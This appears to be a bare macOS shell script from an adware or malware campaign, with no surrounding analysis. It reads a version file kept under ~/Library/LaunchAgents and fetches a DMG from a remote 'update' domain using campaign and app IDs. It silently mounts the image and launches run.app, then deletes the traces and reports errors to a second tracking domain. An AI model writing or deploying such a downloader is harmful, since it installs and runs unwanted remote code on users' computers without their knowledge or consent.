dmg_domain='http://update.newstaticclientstack.com/mupdater'
dmg_name='run.dmg'
campaign_id=2455
app_id=65515
ver_file_path=~/Library/LaunchAgents/shopy-mate.ver
ver=`cat $ver_file_path`
dmg_url=$dmg_domain/$app_id/$campaign_id/$ver/$dmg_name
tmpfile="/private/tmp/$RANDOM.dmg"
curl_text=$(curl -sI "$dmg_url")
response_code=$(echo "$curl_text" | grep "HTTP/1.[01] [23]..")
exit_code=$?
size=$(echo "$curl_text" | grep 'Content-Length' | sed 's/[^0-9]//g')
dummy_size_threshold=100
if [ "$exit_code" -eq "0" ]
	then
		if [ "$size" -gt "$dummy_size_threshold" ]
		  then
			  curl -o $tmpfile $dmg_url
				mount=`hdiutil mount -noautoopen -plist $tmpfile | grep -o '\/Volumes\/[^<]*'`
				open "$mount/run.app"
				sleep 10
				hdiutil unmount "$mount"
				rm $tmpfile
				value=$((ver+1))
				echo $value > $ver_file_path
		fi
else
	curl -s "http://errors.newgenstatsnet.com/mac-error.gif?msg=updater404:campaignid:$campaign_id:app_id:$app_id:ver:$ver&funcName=updater404&errtype=update_tmpfile_didnt_exist"
fi